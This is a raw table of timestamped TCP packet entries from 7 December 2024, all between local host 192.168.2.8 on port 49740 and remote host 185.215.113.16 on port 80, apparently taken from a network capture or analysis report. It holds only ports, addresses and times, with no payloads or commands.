Dec 7, 2024 15:07:00.177160025 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.177206993 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.177320004 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.177366972 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.178220987 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.178272963 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.178518057 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.178561926 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.179301023 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.179343939 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.179730892 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.179775953 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.180330992 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.180381060 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.180454969 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.180502892 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.181452036 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.181494951 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.181545973 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.181587934 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.182518959 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.182569981 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.182595015 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.182606936 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.183569908 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.183617115 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.183681965 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.183723927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.184633970 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.184679985 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.184748888 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.184794903 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.185710907 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.185755014 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.185762882 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.185803890 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.186922073 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.186969995 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.187001944 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.187041998 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.187973976 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.188020945 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.188133001 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.188211918 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.189073086 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.189120054 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.189132929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.189172983 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.190000057 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.190047979 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.190133095 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.190176010 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.191076040 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.191147089 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.191224098 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.191270113 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.192218065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.192243099 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.192267895 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.192279100 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.193259001 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.193310022 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.193346977 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.193394899 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.194292068 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.194341898 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.194464922 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.194513083 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.195404053 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.195456982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.195538044 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.195586920 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.196466923 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.196516037 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.196557045 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.196600914 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.197547913 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.197599888 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.197730064 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.197777987 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.198617935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.198668957 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.198745966 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.198792934 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.199698925 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.199748039 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.199794054 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.199840069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.200771093 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.200823069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.200922012 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.200970888 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.201914072 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.201996088 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.202018976 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.202105045 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.202928066 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.202972889 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.202979088 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.203016043 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.204036951 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.204090118 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.204144955 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.204190969 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.205082893 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.205140114 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.205177069 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.205221891 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.206152916 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.206211090 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.206218004 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.206263065 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.207227945 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.207283974 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.207361937 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.207408905 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.208296061 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.208347082 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.208380938 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.208430052 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.209388971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.209439993 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.209474087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.209520102 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.210423946 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.210478067 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.210553885 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.210602045 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.211535931 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.211585999 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.211636066 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.211685896 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.212605000 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.212673903 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.212713957 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.212759972 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.213671923 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.213726044 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.213865995 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.213913918 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.214757919 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.214804888 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.214867115 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.214912891 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.215914965 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.215964079 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.215991974 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.216037989 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.337534904 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.337652922 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.337678909 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.337733030 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.338202000 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.338253021 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.338287115 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.338330030 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.339181900 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.339225054 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.339245081 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.339282990 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.340250969 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.340298891 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.355926037 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.356051922 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.356111050 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.356146097 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.356386900 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.356436014 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.356765985 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.356812954 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.357986927 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.358027935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.358042002 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.358067036 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.358616114 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.358658075 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.358683109 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.358722925 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.359608889 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.359658957 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.359674931 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.359720945 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.360531092 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.360600948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.360642910 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.360688925 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.361629963 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.361679077 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.361772060 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.361814976 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.362710953 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.362756014 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.362787962 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.362829924 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.363871098 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.363914967 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.363949060 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.363991976 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.365020990 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.365072012 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.365099907 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.365139961 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.365916014 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.365963936 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.366020918 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.366066933 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.366980076 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.367034912 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.367069006 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.367111921 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.368072987 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.368118048 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.368145943 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.368192911 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.369452000 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.369502068 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.369663000 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.369709015 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.370803118 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.370867014 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.370878935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.370910883 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.371598959 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.371653080 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.371654987 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.371690035 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.372365952 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.372407913 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.372488022 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.372539043 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.373445988 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.373517036 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.373570919 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.373611927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.374572039 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.374614954 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.374674082 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.374717951 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.375641108 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.375690937 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.375724077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.375792980 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.376662970 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.376717091 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.376751900 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.376782894 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.377738953 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.377791882 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.377846956 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.377880096 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.378806114 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.378850937 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.378906965 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.378947973 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.379914999 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.379964113 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.380008936 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.380047083 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.380973101 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.381053925 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.381088972 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.381131887 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.382044077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.382097960 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.382183075 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.382222891 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.383490086 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.383541107 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.383564949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.383599997 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.384313107 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.384357929 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.384504080 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.384545088 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.385332108 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.385379076 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.385452032 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.385493040 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.386372089 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.386418104 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.386600971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.386646986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.387418032 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.387464046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.387541056 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.387614965 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.388490915 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.388531923 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.388595104 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.388636112 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.389568090 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.389605045 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.389683008 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.389719963 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.390721083 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.390733004 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.390763044 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.390783072 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.391757011 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.391804934 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.391882896 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.391928911 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.392863035 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.392915010 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.392949104 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.392991066 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.393858910 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.393906116 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.393939018 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.393975019 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.394967079 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.395011902 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.395087957 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.395128012 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.396027088 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.396073103 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.396133900 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.396173954 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.397066116 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.397124052 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.397202015 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.397243023 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.398173094 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.398219109 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.398276091 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.398315907 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.399295092 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.399342060 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.399369001 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.399411917 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.400346041 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.400394917 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.400427103 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.400466919 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.401434898 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.401495934 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.401498079 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.401534081 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.402441025 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.402487040 CET	49740	80	192.168.2.8	185.215.113.16
